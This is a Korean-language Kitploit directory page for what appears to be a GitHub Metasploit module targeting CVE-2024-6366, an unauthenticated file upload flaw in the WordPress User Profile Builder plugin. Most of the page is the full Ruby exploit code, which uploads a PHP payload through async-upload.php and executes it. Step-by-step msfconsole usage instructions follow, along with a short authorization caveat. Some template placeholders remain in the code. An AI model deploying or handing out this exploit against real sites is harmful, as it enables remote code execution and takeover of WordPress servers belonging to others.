Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-6366 — Metasploit 익스플로잇 모듈로, CVE-2024-6366을 대상으로 합니다. 이는 WordPress User Profile Builder 3.11.8 이전 버전에서 인증 없이 파일 업로드를 통한 원격 코드 실행 취약점으로, PHP 페이로드를 업로드하고 실행합니다. | Kitploit
도구/GitHubGitHub/abdurahmon3236/cve-2024-6366
Exploit FrameworksVulnerability AnalysisCode AnalysisWeb Application ExploitationPenetration TestingPayload Development
GitHubabdurahmon3236/cve-2024-6366

CVE-2024-6366

Metasploit 익스플로잇 모듈로, CVE-2024-6366을 대상으로 합니다. 이는 WordPress User Profile Builder 3.11.8 이전 버전에서 인증 없이 파일 업로드를 통한 원격 코드 실행 취약점으로, PHP 페이로드를 업로드하고 실행합니다.

저장소 보기
142년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

User Profile Builder WordPress 플러그인 버전 3.11.8 이전의 RCE 취약점을 익스플로잇하기 위한 Metasploit 모듈을 만들려면 미디어 파일 업로드 기능에 적절한 인증이 없는 점을 활용해야 합니다. 다음은 이러한 Metasploit 모듈을 생성하는 방법입니다.

Metasploit 모듈

다음 코드를 Metasploit Framework 설치 폴더의 modules/exploits/unix/webapp 디렉토리에 wordpress_user_profile_builder_rce.rb로 저장하세요.

root@kitploit:~
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WordPress User Profile Builder Unauthenticated File Upload RCE',
      'Description'    => %q{
        This module exploits a vulnerability in the User Profile Builder WordPress plugin before version 3.11.8.
        The plugin does not have proper authorization, allowing unauthenticated users to upload media files via
        the async upload functionality. This can be leveraged to upload and execute a malicious PHP payload.
      },
      'Author'         =>
        [
          'Your Name'  # OneArch
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2024-6366'],  # Replace with the actual CVE identifier
          ['URL', 'https://example.com/advisory'] # Replace with an advisory link if available
        ],
      'Privileged'     => false,
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          [ 'WordPress User Profile Builder < 3.11.8', {} ]
        ],
      'DisclosureDate' => 'Aug 03 2024',
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "The base path to the WordPress installation", '/']),
      ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path),
    })

    if res && res.body.include?('wp-content/plugins/user-profile-builder')
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    php_payload = "<?php #{payload.encoded} ?>"
    data = Rex::MIME::Message.new
    data.add_part(php_payload, 'application/octet-stream', nil, "form-data; name=\"async-upload\"; filename=\"#{Rex::Text.rand_text_alpha(8..12)}.php\"")
    data.add_part('1', nil, nil, 'form-data; name="html-upload"')
    data.add_part('Upload', nil, nil, 'form-data; name="upload"')

    print_status("Uploading PHP payload...")
    res = send_request_cgi({
      'method'  => 'POST',
      'uri'     => normalize_uri(target_uri.path, 'wp-admin', 'async-upload.php'),
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
      'data'    => data.to_s
    })

    if res && res.code == 200 && res.body.include?('.php')
      php_path = res.body.match(/(\/wp-content\/uploads\/[0-9]+\/[0-9]+\/.*?\.php)/)[1]
      print_good("Payload uploaded successfully: #{php_path}")

      register_files_for_cleanup(php_path)
      execute_command("#{php_path}")
    else
      fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
    end
  end

  def execute_command(php_path)
    print_status("Executing PHP payload...")
    send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, php_path)
    })
  end
end

사용법

  1. 모듈 저장: 모듈을 Metasploit Framework 설치 폴더의 modules/exploits/unix/webapp 디렉토리에 wordpress_user_profile_builder_rce.rb로 저장합니다.

    root@kitploit:~
    /path/to/metasploit-framework/modules/exploits/unix/webapp/wordpress_user_profile_builder_rce.rb
    
  2. Metasploit 로드: 터미널을 열고 다음을 실행하여 Metasploit Framework를 시작합니다.

    root@kitploit:~
    msfconsole
    
  3. 새 모듈 사용: Metasploit 콘솔에서 다음 명령을 사용하여 새 익스플로잇 모듈을 로드합니다.

    root@kitploit:~
    use exploit/unix/webapp/wordpress_user_profile_builder_rce
    
  4. 구성 및 실행: RHOSTS와 TARGETURI 같은 필요한 옵션을 설정한 후 익스플로잇을 실행합니다.

    root@kitploit:~
    msf6 > use exploit/unix/webapp/wordpress_user_profile_builder_rce
    msf6 exploit(unix/webapp/wordpress_user_profile_builder_rce) > set RHOSTS target_ip
    RHOSTS => target_ip
    msf6 exploit(unix/webapp/wordpress_user_profile_builder_rce) > set TARGETURI /
    TARGETURI => /
    msf6 exploit(unix/webapp/wordpress_user_profile_builder_rce) > run
    

중요 고려사항

  • 시스템을 테스트하거나 익스플로잇하기 전에 적절한 권한이 있는지 확인하세요.
  • 이 모듈은 기본 템플릿이며 특정 설정이나 특정 목표를 위해 수정이 필요할 수 있습니다.
  • 프로덕션 시스템에서 사용하기 전에 안전하고 통제된 환경에서 모듈을 항상 테스트하세요.

이 Metasploit 모듈은 취약한 WordPress 설치에 악성 PHP 파일을 업로드한 후 실행하여 원격 코드 실행을 달성합니다. 취약점의 특성과 대상 환경에 따라 페이로드와 모듈을 필요에 맞게 조정하세요.

도구 다운로드